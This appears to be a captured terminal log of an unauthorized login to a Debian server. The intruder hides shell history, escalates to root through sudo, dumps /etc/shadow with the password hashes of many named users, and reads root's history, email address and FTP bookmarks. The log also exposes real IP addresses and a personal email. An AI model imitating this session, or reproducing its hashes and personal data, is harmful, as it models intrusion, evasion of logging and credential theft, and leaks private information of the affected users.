Connection to 80.248.208.223 closed.
[deadlyacid@localhost ~]$ ssh djdd@213.251.160.26
The authenticity of host '213.251.160.26 (213.251.160.26)' can't be established.
RSA key fingerprint is fe:ea:94:0b:a9:04:aa:e4:d3:d6:dd:f8:cd:a9:8c:f3.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '213.251.160.26' (RSA) to the list of known hosts.
Password: 
Linux ks32211.kimsufi.com 2.4.33grs-bipiv-ipv4-32 #1 SMP lun oct 23 19:00:07 CEST 2006 i686 GNU/Linux

machine   : 8410
ip        : 213.251.160.26
hostname  : ks32211.kimsufi.com

Welcome on Server4, the 4th server of the zloche network =]

Last login: Fri Jun  8 17:50:48 2007 from 216.186.154.117
djdd@server4:~$ unset HISTFILE ; unset SAVEHIST
djdd@server4:~$ uname -a
Linux server4.zloche.net 2.4.33grs-bipiv-ipv4-32 #1 SMP lun oct 23 19:00:07 CEST 2006 i686 GNU/Linux
djdd@server4:~$ cat /etc/issue
Debian GNU/Linux 3.1 \n \l

djdd@server4:~$ ls -alh
total 32K
drwxr-xr-x   3 djdd djdd 4.0K 2007-02-01 04:28 .
d-wx--s--x  17 root root 4.0K 2007-05-06 03:51 ..
-rw-r--r--   1 djdd djdd  266 2007-02-01 04:24 .alias
-rw-------   1 djdd djdd  819 2007-06-08 17:55 .bash_history
-rw-r--r--   1 djdd djdd  567 2007-02-01 04:24 .bash_profile
-rw-r--r--   1 djdd djdd 1.8K 2007-02-01 04:24 .bashrc
-rw-r--r--   1 djdd djdd  375 2007-02-01 04:24 .cshrc
drwx------   2 djdd djdd 4.0K 2007-02-01 04:28 .ssh
djdd@server4:~$ cat .bash_history
w
who
ssh 66.168.220.yes
ssh 66.168.220.212:443
ssh 66.168.220.212 443
ssh 443 66.168.220.212 
man ssh
ssh -D 443 66.168.220.212 
sudo ssh -D 443 66.168.220.212 
sudo ssh -D 443 66.168.220.212 
ssh 66.168.220.212
w
exit
ping www.thednscentre.com
exit
exit
irssi
ssh craplandia.org
ssh craplandia.org
ssh craplandia.org
ssh craplandia.org
screen -raAd
exit
passwd
screen irssi
ssh zloche.net
ssh zloche.net
exit
ssh zloche.net
exit
ssh zloche.net
ssh zloche.net
w
who
ssh zloche.net
exit
cat /etc/motd
uname -a
sudo id
w
who
w
who
users
ls -alh
cd .ssh
ls
cat known_hosts
ssh djdd@66.168.220.212
who
who
w
users
ps aux
kill -9 7018
ps -aux
ps aux
last -n 10
ls
ls -alh
cat .bash_history
ssh zloche.net
ssh zloche.net
ssh zloche.net
ssh zloche.net
ssh zloche.net
ssh zloche.net
ssh craplandia.org
ssh craplandia.org
exit
djdd@server4:~$ cd .ssh
djdd@server4:~/.ssh$ ls -alh
total 12K
drwx------  2 djdd djdd 4.0K 2007-02-01 04:28 .
drwxr-xr-x  3 djdd djdd 4.0K 2007-02-01 04:28 ..
-rw-r--r--  1 djdd djdd 1.1K 2007-05-10 22:52 known_hosts
djdd@server4:~/.ssh$ cat known_hosts 
66.168.220.212 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtmDaXUYBfpbI9nF
khEnqjRxLMWLxfkDdxeKDMs5orhRjRa8GQ1AC3KpC7y+TaonfUM/dSXR0+1K1BJUtT
AWxe5ZeCDKL4phDbubxDIJvFKcTfNi+bjiwkHlz1OKDThvqtRt781wcJRnSbnXinhZ
k8Ia3v6AIHsoB5x/yljSwznrSDWuVwn5LSkNtISOiOX91ItfxwKi8B0ZgSBdUkmAHq
Myej98cRVvY/iATI5SrFRCfWNkC7gH/oFxXM/bKB94H7TZ4W6wtfdjmkBrYxojDbUK
KEfd1LywcJCTYxab8usl+Q39uYvqTfXwJDIYX+BE810BNmXi0QA6WlYUOpMJj9Q==
craplandia.org,74.69.17.126 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5v
HP/DNtJSXwf+2YNhLD9MX2HkcuNqhGNtmJ6/sis9MTAQTEqnTi0Nw4yaoQL0qFM7nZ
kS8OGQI0X55c0Ud0JEXjbXuikZEFUtzr2A+up19wewbpMsMRac87r+vtU218ozOUjY
uurhJwF58DhrUKLrTwa5hl8pRFTifSqhrhKCMBdQreHkmR8GoHIohMdkaPyIACKBgA
aUDFX4VHoYW7AbJlO/3cJLxWEHoUkRM9aHi6tfqXt69e8W1LGXCEI83xUyjOT+ndCm
3x+w/Scuw7kBrjSYg0CXaxDTR5l8lBMJAdenr9CFWPMKbeOLrvdAlpPewJ5EKRSxY4
sWZqZwaqWQ==
zloche.net,80.248.208.223 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAzYgp
Hj6TWctv9JPyCM/uWdHMWWgnMmR9KkDXZuiGVSNc/FyxIq6soDPhQ6nsYw3NoKEczB
1aC6u1RMqueWyd0LLZD2QIVmJ1ijRtQDibKXEmlquOTUNZzB0RQIKgI4FOlpojpqTM
ziRUom2qChYoVBFLimYvH+b3fclaQaSichE=
djdd@server4:~$ w
 00:52:32 up 35 days, 22:54,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
djdd@server4:~$ who
djdd     pts/0        Jun 10 00:50 (c-76-108-85-21.hsd1.fl.comcast.net)
djdd@server4:~$ who -a
                        May  5 01:58              2198 id=si    term=0 exit=0
           system boot  May  5 01:58
           run-level 2  May  5 01:58                   last=S
                        May  5 01:59              8763 id=l2    term=0 exit=0
LOGIN      tty1         May  5 01:59             14410 id=1
LOGIN      tty2         May  5 01:59             22055 id=2
LOGIN      tty3         May  5 01:59             15373 id=3
LOGIN      tty4         May  5 01:59             13138 id=4
LOGIN      tty5         May  5 01:59             28322 id=5
LOGIN      tty6         May  5 01:59             27969 id=6
LOGIN      ttyS0        May  5 01:59              8347 id=T0
djdd     + pts/0        Jun 10 00:50   .         27808 (c-76-108-85-21.hsd1.fl.comcast.net)
           pts/1        Jun  8 16:54             11261 id=ts/1  term=0 exit=0
           pts/2        May 17 19:01             12001 id=ts/2  term=0 exit=0
           pts/3        May 10 22:51             15317 id=/3    term=0 exit=0
           pts/3        Jun  8 16:53             20448 id=ts/3  term=0 exit=0
           pts/5        Jun  1 05:44             24188 id=ts/5  term=0 exit=0
           pts/6        Jun  8 16:54             21971 id=ts/6  term=0 exit=0
           pts/7        Jun  7 18:53             20846 id=ts/7  term=0 exit=0
           pts/8        Jun  7 18:59             29897 id=ts/8  term=0 exit=0
djdd@server4:~$ id
uid=1005(djdd) gid=1005(djdd) groups=1005(djdd)
djdd@server4:~$ sudo id
Password:
uid=0(root) gid=0(root) groups=0(root)
djdd@server4:~$ # AHAHAHAHAHA
djdd@server4:~$ sudo su -l
su: invalid option -- l
Usage: su [OPTS] [-] [username [ARGS]]
        -       make this a login shell
        -c, --command=<command>
                pass command to the invoked shell using its -c
                option
       -m, -p, --preserve-environment
                do not reset environment variables, and keep the
                same shell
       -s, --shell=<shell>
                use shell instead of the default in /etc/passwd
djdd@server4:~$ sudo su - 
server4:~# unset HISTFILE ; unset SAVEHIST
server4:~# w
 00:54:14 up 35 days, 22:56,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
djdd     pts/0    c-76-108-85-21.h 00:50    0.00s  0.04s  0.00s sshd: djdd [pri
server4:~# ps aux
USER       PID %CPU %MEM   VSZ  RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.2  1492  504 ?        S    May05   0:34 init [2]         
root         2  0.0  0.0     0    0 ?        S    May05   0:00 [keventd]
root         3  0.0  0.0     0    0 ?        SN   May05   0:07 [ksoftirqd_CPU0]
root         4  0.0  0.0     0    0 ?        S    May05   0:08 [kswapd]
root         5  0.0  0.0     0    0 ?        S    May05   0:00 [bdflush]
root         6  0.0  0.0     0    0 ?        S    May05   0:12 [kupdated]
root         7  0.0  0.0     0    0 ?        S<   May05   0:00 [mdrecoveryd]
root         8  0.0  0.0     0    0 ?        S    May05   0:23 [kjournald]
root     13233  0.0  0.0     0    0 ?        S    May05   0:20 [kjournald]
root     29859  0.0  0.3  2244  788 ?        Ss   May05   0:43 /sbin/syslogd
root     14962  0.0  0.1  1492  464 ?        Ss   May05   0:00 /sbin/klogd
root     28307  0.0 17.2 44216 42648 ?       Ss   May05  10:45 /usr/sbin/named
root      2236  0.0  0.5  2500 1248 ?        S    May05   0:00 /bin/sh /usr/bin/
mysql     4526  0.0  7.0 77744 17464 ?       S    May05   0:00 /usr/sbin/mysqld 
root      2914  0.0  0.1  1476  484 ?        S    May05   0:00 logger -p daemon.
mysql    11911  0.0  7.0 77744 17464 ?       S    May05   0:34 /usr/sbin/mysqld 
mysql    11464  0.0  7.0 77744 17464 ?       S    May05   0:00 /usr/sbin/mysqld 
mysql     5970  0.0  7.0 77744 17464 ?       S    May05   0:00 /usr/sbin/mysqld 
mysql    26606  0.0  7.0 77744 17464 ?       S    May05   0:00 /usr/sbin/mysqld 
mysql    15247  0.0  7.0 77744 17464 ?       S    May05   0:00 /usr/sbin/mysqld 
mysql     3096  0.0  7.0 77744 17464 ?       S    May05  12:59 /usr/sbin/mysqld 
mysql    18129  0.0  7.0 77744 17464 ?       S    May05   7:06 /usr/sbin/mysqld 
mysql     9691  0.0  7.0 77744 17464 ?       S    May05   0:00 /usr/sbin/mysqld 
mysql    19984  0.0  7.0 77744 17464 ?       S    May05   0:00 /usr/sbin/mysqld 
mysql    12133  0.0  7.0 77744 17464 ?       S    May05   0:01 /usr/sbin/mysqld 
mysql     9802  0.0  7.0 77744 17464 ?       S    May05   0:02 /usr/sbin/mysqld 
root     19289  0.0  0.2  2220  728 ?        Ss   May05   0:14 /usr/sbin/inetd
root     11711  0.0  0.6  3720 1544 ?        Ss   May05   0:05 /usr/sbin/sshd
root      7545  0.0  0.3  1756  808 ?        Ss   May05   0:05 /usr/sbin/cron
root      4927  0.0  2.1 10628 5368 ?        Ss   May05   0:54 /usr/bin/perl /us
root     22753  0.0  2.6 16620 6608 ?        S    May05   1:14 /usr/sbin/apache
root     19067  0.0  2.2  8732 5456 ?        S    May05  28:38 python /usr/bin/d
root     14410  0.0  0.1  1484  472 tty1     Ss+  May05   0:00 /sbin/getty 38400
root     22055  0.0  0.1  1484  472 tty2     Ss+  May05   0:00 /sbin/getty 38400
root     15373  0.0  0.1  1484  472 tty3     Ss+  May05   0:00 /sbin/getty 38400
root     13138  0.0  0.1  1484  472 tty4     Ss+  May05   0:00 /sbin/getty 38400
root     28322  0.0  0.1  1484  472 tty5     Ss+  May05   0:00 /sbin/getty 38400
root     27969  0.0  0.1  1484  472 tty6     Ss+  May05   0:00 /sbin/getty 38400
root      8347  0.0  0.1  1484  476 ttyS0    Ss+  May05   0:00 /sbin/getty -L tt
gumbie   13651  0.0  0.7  3660 1880 ?        Ss   May17   0:01 SCREEN -e^Tt
gumbie    6449  0.0  0.6  3228 1720 pts/2    Ss+  May17   0:00 /bin/bash
gumbie   23097  0.0  0.6  3212 1664 pts/4    Ss   May20   0:00 /bin/bash
root     16342  0.0  0.6  2652 1572 pts/4    S    May27   0:00 -su
root        11  0.0  0.2  2052  592 pts/4    T    Jun01   0:18 tail -F /var/log/
gumbie   15453  0.0  0.6  3212 1664 pts/5    Ss   Jun03   0:00 /bin/bash
root     13262  0.0  0.6  2604 1488 pts/5    S    Jun03   0:00 -su
prototy    601  0.0  0.6  2584 1500 pts/5    S+   Jun03   0:00 -su
www-data 25611  0.0  2.9 16876 7396 ?        S    Jun08   0:00 /usr/sbin/apache
www-data 11373  0.0  3.0 16912 7536 ?        S    Jun08   0:00 /usr/sbin/apache
www-data 16966  0.0  3.0 16908 7436 ?        S    Jun08   0:00 /usr/sbin/apache
stax     26322  2.9  2.2 15220 5632 ?        S    Jun08  56:00 php msnbot.php
ircd     25089  0.0  0.6  2612 1500 pts/4    S+   Jun09   0:00 -su
www-data 17076  0.0  2.9 16864 7276 ?        S    Jun09   0:00 /usr/sbin/apache
www-data 23265  0.0  2.7 16752 6688 ?        S    Jun09   0:00 /usr/sbin/apache
www-data 12134  0.0  2.9 16864 7280 ?        S    Jun09   0:00 /usr/sbin/apache
www-data  2976  0.0  2.7 16752 6688 ?        S    Jun09   0:00 /usr/sbin/apache
www-data  1545  0.0  2.9 16864 7288 ?        S    Jun09   0:00 /usr/sbin/apache
www-data 22567  0.0  2.7 16752 6768 ?        S    Jun09   0:00 /usr/sbin/apache
www-data 32028  0.0  2.8 16760 7004 ?        S    Jun09   0:00 /usr/sbin/apache
root     27808  0.0  0.8  7176 2172 ?        Ss   00:50   0:00 sshd: djdd [priv]
root     20818  0.0  0.8  7176 2172 ?        S    00:50   0:00 sshd: djdd [priv]
djdd      4329  0.0  0.9  7184 2240 ?        S    00:50   0:00 sshd: djdd@pts/0
djdd     22316  0.0  0.6  3180 1668 pts/0    Ss   00:50   0:00 -bash
root      9556  0.0  0.5  2584 1472 pts/0    S    00:53   0:00 -su
root     25811  0.0  0.3  2480  852 pts/0    R+   00:54   0:00 ps aux
server4:~# netstat -anvp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name   
tcp        0      0 0.0.0.0:5666            0.0.0.0:*               LISTEN     19289/inetd         
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN     22753/apache        
tcp        0      0 0.0.0.0:10000           0.0.0.0:*               LISTEN     4927/perl           
tcp        0      0 0.0.0.0:113             0.0.0.0:*               LISTEN     19289/inetd         
tcp        0      0 0.0.0.0:21              0.0.0.0:*               LISTEN     19289/inetd         
tcp        0      0 213.251.160.26:53       0.0.0.0:*               LISTEN     28307/named         
tcp        0      0 127.0.0.1:53            0.0.0.0:*               LISTEN     28307/named         
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     11711/sshd          
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN     11711/sshd          
tcp        0      0 213.251.160.26:36826    207.46.107.79:1863      ESTABLISHED26322/php           
tcp        0      0 213.251.160.26:58125    207.46.26.197:1863      ESTABLISHED26322/php           
tcp        0      0 213.251.160.26:56634    207.46.27.67:1863       ESTABLISHED26322/php           
tcp        0    288 213.251.160.26:22       76.108.85.21:1688       ESTABLISHED27808/sshd: djdd [p 
tcp        0      0 213.251.160.26:56485    207.46.26.142:1863      ESTABLISHED26322/php           
udp        0      0 0.0.0.0:32768           0.0.0.0:*                          28307/named         
udp        0      0 0.0.0.0:10000           0.0.0.0:*                          4927/perl           
udp        0      0 213.251.160.26:53       0.0.0.0:*                          28307/named         
udp        0      0 127.0.0.1:53            0.0.0.0:*                          28307/named         
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags       Type       State         I-Node PID/Program name    Path
unix  2      [ ACC ]     STREAM     LISTENING     282      28307/named         /var/run/ndc
unix  8      [ ]         DGRAM                    238      29859/syslogd       /dev/log
unix  2      [ ACC ]     STREAM     LISTENING     351      4526/mysqld         /var/run/mysqld/mysqld.sock
unix  2      [ ]         DGRAM                    15312755 4329/0              
unix  3      [ ]         STREAM     CONNECTED     15312754 27808/sshd: djdd [p 
unix  3      [ ]         STREAM     CONNECTED     15312753 4329/0              
unix  2      [ ]         DGRAM                    1098     4927/perl           
unix  2      [ ]         DGRAM                    999      4927/perl           
unix  2      [ ]         DGRAM                    349      2914/logger         
unix  2      [ ]         DGRAM                    280      28307/named         
unix  2      [ ]         DGRAM                    271      14962/klogd         
netstat: no support for `AF IPX' on this system.
netstat: no support for `AF AX25' on this system.
netstat: no support for `AF X25' on this system.
netstat: no support for `AF NETROM' on this system.
server4:~# cat /etc/shadow
root:$1$Ycnj762I$8EX7DzphtLPPEnh7AA1FN1:13541:0:99999:7:::
daemon:*:12529:0:99999:7:::
bin:*:12529:0:99999:7:::
sys:*:12529:0:99999:7:::
sync:*:12529:0:99999:7:::
games:*:12529:0:99999:7:::
man:*:12529:0:99999:7:::
lp:*:12529:0:99999:7:::
mail:*:12529:0:99999:7:::
news:*:12529:0:99999:7:::
uucp:*:12529:0:99999:7:::
proxy:*:12529:0:99999:7:::
postgres:*:12529:0:99999:7:::
www-data:*:12529:0:99999:7:::
backup:*:12529:0:99999:7:::
operator:*:12529:0:99999:7:::
list:*:12529:0:99999:7:::
irc:*:12529:0:99999:7:::
gnats:*:12529:0:99999:7:::
nobody:*:12529:0:99999:7:::
identd:!:12529:0:99999:7:::
sshd:!:12529:0:99999:7:::
stax:$1$Rj0PaaoN$vt..3umW5auOBtwu0yDT10:13647:0:99999:7:::
gumbie:$1$ImYTO/K/$2D1HVxm7iSSap/oReQ6aw0:13596:0:99999:7:::
mysql:!:13541:0:99999:7:::
hlds:$1$SwHx08vh$AMVPLX4zHY8LfqrFXRO/e/:13581:0:99999:7:::
www:$1$RWNlTHOr$4w.MlTSdRd2ouG4Iw7AHy0:13558:0:99999:7:::
xposedbones:$1$nVhIWkli$NtGy8.YOTF5JkaEtpcmZA1:13602:0:99999:7:::
djdd:$1$9/zyY8fR$GeOd4OQ3bR/zacmTSO/eI.:13643:0:99999:7:::
ircd:$1$AlG2jcBf$v9PXz1QSwmz9tFE4s9apl/:13547:0:99999:7:::
nagios:$1$PQHBNCj/$wzFXTDJeluPLGzkWs03zI.:13551:0:99999:7:::
yumiro:$1$Gwmo8wbf$MuiHL3C4dqnbOSMraCEaH0:13557:0:99999:7:::
misterinfo:$1$wKm3cgNu$kGovmOlqFq3nudFEUaIBO.:13560:0:99999:7:::
chat:$1$kkneKyBR$chmW4CO.RNtpIOx4Cnjmy.:13600:0:99999:7:::
madstorm:$1$5.2bzoRU$vfaoUUJEGCqvXAJEk2a7o/:13604:0:99999:7:::
poe:$1$TQV5Sytj$uIDY8mXNj5HRJi1/XuXA10:13606:0:99999:7:::
gnomex:$1$w40//R6K$J9MbUU6Mr4rHQbM.YlbTk.:13616:0:99999:7:::
prototype:$1$nL.Omo1M$uXS9IlD5giKHkgjnrrWOa1:13618:0:99999:7:::
server4:~# cd ~root
server4:~# ls -alh
total 168K
drwx------  14 root root 4.0K Jun  1 06:58 .
drwxr-xr-x  21 root root 4.0K Feb 13 02:25 ..
-rw-------   1 root root 7.6K May 27 19:18 .bash_history
-rw-r--r--   1 root root  393 Nov 22  2004 .bashrc
drwx------   2 root root 4.0K Feb  5 23:23 .elinks
drwxr-xr-x   3 root root 4.0K Jan 28 17:49 .emacs.d
-rw-r--r--   1 root root   29 Jan 28 14:21 .email
drwx------   2 root root 4.0K Feb 12 01:09 .gconf
drwx------   2 root root 4.0K Feb 12 01:10 .gconfd
drwx------   2 root root 4.0K Feb 12 01:09 .gnome
drwx------   3 root root 4.0K Feb 12 01:09 .gnome2
drwx------   2 root root 4.0K Feb 12 01:09 .gnome2_private
-rw-r--r--   1 root root    5 Jan 28 14:21 .mdg
-rw-------   1 root root  159 May 20 09:01 .nano_history
drwxr-xr-x   2 root root 4.0K Mar 27 19:05 .ncftp
-r--------   1 root root    9 Jan 28 14:21 .p
-rw-r--r--   1 root root  202 Nov 22  2004 .profile
drwx------   2 root root 4.0K Feb 13 02:41 .ssh
drwxr-x---   2 root root 4.0K Jan 28 21:12 .steam
-rw-------   1 root root 5.6K Feb  3 16:24 .viminfo
-rw-r--r--   1 root root    8 Feb 21  2005 .vimrc
drwxr-xr-x   4 root root 4.0K Feb  3 23:49 New
-rw-r--r--   1 root root  40K Jan 28 14:21 install_rtm.sh
-rw-r--r--   1 root root 1.4K Jun 13  2005 installer_la_cle-with-check.sh
-rw-r--r--   1 root root  21K Jan 28 23:54 meh.txt
drwxr-xr-x   2 root root 4.0K Jun  1 06:23 snort
server4:~# cat .bash_history
w
df -h
apt-get
apt-get install *sudo*
apt-get install sudo*
apt-get update
apt-get install sudo*
cd /etc/
emacs
yum install emacs*
apt-get install emacs*
apt-get install *emacs*
w
apt-get install emac*
apt-get upd
apt-get install pico*
vi
vi /etc/apt/sources.list
apt-get update
apt-get update
apt-get update
apt-get install emacs*
apt-get install emac*
apt-get install emac*
apt-get 
apt-get check
apt-get autoclean
apt-get 
apt-get update
apt-get emacs
apt-get install emacs
w
cd /
wget http://www.zloche.net/sources.list
cd /etc/apt/
ls
mv sources.list sources.list__BACKUP
mv /sources.list ./
ls
apt-get update
apt-get update
apt-get install emacs*
apt-get install emacs
apt-get install emacs21*
apt-get install emacs21
emacs
cd/
cd /
cd /home/
ls
adduser
cd /etc/sudoers 
emacs /etc/sudoers 
adduser
hostname
hostname
apt-get install apache
apt-get install phpmyadmin
w
top
top
ls
pwd
top > meh.txt
less meh.txt 
/etc/init.d/bind 
/etc/init.d/bind stop
/etc/init.d/mysql status
/etc/init.d/mysql restart
top
top
w
top
top
w
top
cd /home/hlds/
ls
cd ts
cd addons/
cd amxmodx
cd configs/
emacs plugins.ini
w
emacs plugins.ini
w
chmod 777 -R ./
w
chmod 666 /dev/ptmx
chmod 666 /dev/null
ls -l /dev/null
less .bash_history 
w
dmesg
man hlds
man -k 
man hlds_run
ls ~hlds
top
tail -f /var/log/debug 
tail -f /var/log/daemon.log 
tail -f /var/log/kern.log 
top
cd New/openssl-0.9.8d
ls
make
make install
cd ../new
w
ssh server1.zloche.net
ssh zloche.zapto.org
cd /etc/
ls
cd ssh/
ls
less
less sshd_config
less sshd_config
emacs ssh_config 
emacs sshd_config 
/etc/init.d/webmin 
/etc/init.d/webmin start
apt-get install webmin
locate webmin
cd ~stax/
finger gumbie
ls
wget http://prdownloads.sourceforge.net/webadmin/webmin_1.320_all.deb
ls
dpkg webmin_1.320_all.deb 
dpkg --help
dpkg -i webmin_1.320_all.deb 
locate webmin
cd /etc/webmin/
ls
emacs miniserv.conf
emacs miniserv.users
link
links
w
w
top
ssh stax@zloche.zapto.or
ssh stax@zloche.zapto.org
top
free -m
ssh stax@www.zloche.net
top
su hlds
w
w
free
cd /usr/src/linux
ssh stax@www.zloche.net
cat /proc/version
su stax
adduser ircd
ls ~ircd
adduser nagios
pico /etc/passwd
mv /home/nagios/ /usr/local
uname -a
df
ls ~nagios
su - nagios
su - ircd
pico /etc/hosts.deny
pico /etc/hosts.deny
tail -f /var/log/denyhosts 
fg
id
cd /etc/bind
ls
ls -l
ls
pico named.conf
pico named.conf.local 
man bind
man named.conf
ls
mkdir slave
pico named.conf.local 
host server3.zloche.net
host irc.zloche.net
pico named.conf.local 
pwd
ls slave
ls -l
rndc reload
/etc/init.d/bind reload
ps aux | grep named
/etc/init.d/bind stop
/etc/init.d/bind start
ps aux | grep named
ls slave
ls slave/rmachine.net.hosts 
less slave/rmachine.net.hosts 
ping server4
ping server3
dig rmachine.net ns
less named.conf
less named.conf.local 
DD
ssh gumbie@server4
tail -F /var/log/messages 
tail -F /var/log/messages /var/log/auth.log
fg
mkdir New
cd New
elinks www.google.com
ls
fg
ls
tar -xzf openssl-0.9.8d.tar.gz 
cd openssl-0.9.8d
./configure
ls
./Configure 
./config
make
make install
cd ..
ls -l

pico /etc/services 
ls /etc/inetd.conf
pico /etc/inetd.conf
which tcpd
pico /etc/inetd.conf
cp ~nagios/bin/nrpe /usr/sbin
ls -l /usr/sbin/nrpe 
ps auxww | grep inetd
/etc/init.d/inetd reload
fg
fg
ls /var/log
ls ~nagios/var
ls ~nagios
ls ~nagios/bin
./nrpe -h

pico /etc/inetd.conf
/etc/init.d/inetd reload
fg
fg
pico /etc/resolv.conf 
fg
ls
ldconfig
elinks www.openssl.org
tar -xzf openssl-0.9.8d.tar.gz 
cd oepn
cd openssl-0.9.8d
./configure
./config
make
ls /usr/local/ssl/lib
make install
ls /usr/local/ssl/lib
less /usr/local/ssl/lib/pkgconfig/libssl.pc 
less /usr/local/ssl/lib/pkgconfig/*
pico /etc/ld.so.conf 
ldconfig
ls
find . -name "libssl*"
less FAQ 
less PROBLEMS 
./configure --help | grep shared
./config --help | grep shared
./config shared
make
.
ls /usr/local/ssl
ls /usr/local/ssl/lib
ls /usr/local/ssl/lib
ldconfig
apt-get install make
apt-get install gcc
apt-get install ssl
apt-get install openssl
apt-get install openssl-dev
apt-get install openssl-devel
apt-cache search openssl|less
apt-get install libssl0.9.7
apt-get install ping
apt-get install iputils-ping
ping  -h
cd ..
cd
fg
locate denyhosts
apt-cache search denyhosts
cd New
mv ~gumbie/DenyHosts-2.6.tar.gz .
tar -xzf DenyHosts-2.6.tar.gz 
ls
cd DenyHosts-2.6
ls
less README.txt 
 python setup.py install
apt-get install python
python
apt-cache search python | grep 2.3
apt-cache search python | grep 2.3 | grep lib
less README.txt 
ls
 python setup.py install
ls /usr/lib/python2.3

apt-cache search python | grep 2.3 | grep lib| less
apt-get install python2.3-dev
 python setup.py install
ls /usr/share/denyhosts/
ln -s /usr/share/denyhosts /etc
cd /etc/denyhosts
cp denyhosts.cfg-dist denyhosts.cfg
pico denyhosts.cfg
less /var/log/messages 
less /var/log/auth.log
pico denyhosts.cfg
less /var/log/auth.log
pico denyhosts.cfg
ls
pico daemon-control-dist 
cp daemon-control-dist daemon-control
pico dam
pico daemon-control
pico daemon-control
cp -P daemon-control /etc/init.d/
cd /etc/rc3
cd /etc/rc3.d/
ls
ls -l
ln -s ../init.d/daemon-control S99
rm S99
mv ../init.d/daemon-control ../init.d/denyhosts
ln -s ../init.d/denyhosts  S99denyhosts
cd ../rc4.d
ls
ln -s ../init.d/denyhosts  S99denyhosts
cd ../rc5.d
ls -l
ln -s ../init.d/denyhosts  S99denyhosts
cd ../rc6.d
ls
ln -s ../init.d/denyhosts  K21denyhosts
cd ../rc0.d/
ln -s ../init.d/denyhosts  K21denyhosts
ls -l
cd ../rc1.d/
ls 
ln -s ../init.d/denyhosts  K21denyhosts
cd ../rc2.d/
ls
ln -s ../init.d/denyhosts  K21denyhosts
ps aux | grep init
ls
rm K21
rm K21denyhosts 
ln -s ../init.d/denyhosts  S99denyhosts
ls ../rc1.d/
cd
fg
/etc/init.d/denyhosts start

fg
fg
tail -F /var/log/messages /var/log/auth.log /var/log/kern.log
free
ls /etc/security/
ls /etc/security/time.conf 
less /etc/security/time.conf 
grep kill *
less install_rtm.sh 
grep kill *
less install_rtm.sh 
crontab -l
ls /etc/crontab
less /etc/crontab
man rtm
pico /etc/crontab
/etc/init.d/cron restart
fg
ls
tail -F /var/log/messages /var/log/auth.log /var/log/kern.log
cat /etc/crontab
id
cd ~nagios
ls
ls bin
ls etc
mkdir -p tmp/etc
cp etc/nsca.cfg tmp/etc
cp etc/ndo2db.cfg tmp/etc
cp etc/ndomod.cfg tmp/etc
cd tmp
ls ../bin
ls ../libexec
ls ..
ls 
ls ../etc
ls ../etc/nrpe.cfg etc
cp ../etc/nrpe.cfg etc
ls -l
chown -R nagios.nagios *
ls -l
tar -czf NagiosAgent_nrpe.tgz *
tar -tzf NagiosAgent_nrpe.tgz 
mv NagiosAgent_nrpe.tgz ..
cd ..
chown -R nagios.nagios NagiosAgent_nrpe.tgz 
rmdir tmp
ls tmp
rm -rf tmp
ls
ls ndoutils-1.4b2/
ls ndoutils-1.4b2/src/
ls -l
passwd nagios
fg
ls
mv NagiosAgent_nrpe.tgz ~gumbie
chown gumbie ~gumbie/NagiosAgent_nrpe.tgz 
fg
fg
pico /etc/denyhosts/data/allow-hosts
pico /etc/denyhosts/denyhosts.cfg
mv /etc/denyhosts/data/allow-hosts /etc/denyhosts/data/allowed-hosts
ls /etc/denyhosts/data/
ls ~gumbie
fg
pico .bash_history 
grep vfr .bash_history 
cd /var/bin
cd /etc/bind
ls
cat named.conf.local 
ls -l slave/
fg
dd
apt-cache search ncftp
apt-get install ncftp2
ncftp server3
ncftp -u server3
ncftp -u server3
ls
ls Xlinx/
ls
mv Xlinx/ ~gumbie
chown gumbie ~gumbie/Xlinx/
chown -R gumbie ~gumbie/Xlinx/
ls /etc/init.d/squid status
ls /etc/init.d/squid start
ls /etc/init.d/squid 
/etc/init.d/squid start
ps auxww | grep squid
pico /etc/squid/squid.conf
/etc/init.d/squid stop
id
cd /etc/bind
ls
cd slave/
ls
less zloche.net.hosts
dig zloche.net ns
whois zloche.net | less
dig zloche.net soa
cd ..
ls
less named.conf
less named.conf.options 
less named.conf.local 
ls /home
cd /usr/local/nagios/
ls
tar -czf copyOfInstall.tgz *
scp copyOfInstall.tgz nagios@irc.liveits.com:.
pico ~/.ssh/known_hosts
scp copyOfInstall.tgz nagios@irc.liveits.com:.
ls
rm copyOfInstall.tgz 
crontab -l
crontab nagios -l
crontab -l nagios
crontab -u nagios -l
server4:~# cat .email
leclairalexandre@hotmail.com
server4:~# cat .nano_history 
nasgios
nagios
lock
LOCK
_LOCK
lock_
run
allow-hosts
allow
207
207.
65.95
65.94
65.9
bas2
.pid
pid
denyhosts.lock
denyhosts_lock
acl
mynet
ournet
my
password
server4:~# cd ../.ncftp
server4:~/.ncftp# ls -alh
total 24K
drwxr-xr-x   2 root root 4.0K Mar 27 19:05 .
drwx------  14 root root 4.0K Jun  1 06:58 ..
-rw-------   1 root root  145 Mar 27 19:05 bookmarks
-rw-r--r--   1 root root   59 Mar 27 19:05 history
-rw-r--r--   1 root root  697 Mar 27 19:03 log
-rw-r--r--   1 root root  312 Mar 27 19:05 prefs
server4:~/.ncftp# cat *
NcFTP bookmark-file version: 7
Number of entries: 1
server3,server3,gumbie,,,/home/gumbie,I,,46094ed6,1,1,0,1,80.248.208.223,,213494,61224,2,0,S
quit
ls
ls
pwd
cd ~gumbie
ls
get -R Electronics_Apps/
quit
server3 at Tue Mar 27 18:52:26 2007
server3 at Tue Mar 27 18:52:47 2007
  get   43.66 MB
ftp://server3/home/gumbie/Electronics_Apps/Xlinx/Xilinx.ChipScope.Pro.v8.2.03i.Incl.Keymaker-ZWT.rar
  get   45.51 MB
ftp://server3/home/gumbie/Electronics_Apps/Xlinx/Xilinx.ChipScope.Pro.v8.2.03i.Linux.Incl.Keymaker-ZWT.rar
  get   56.73 MB
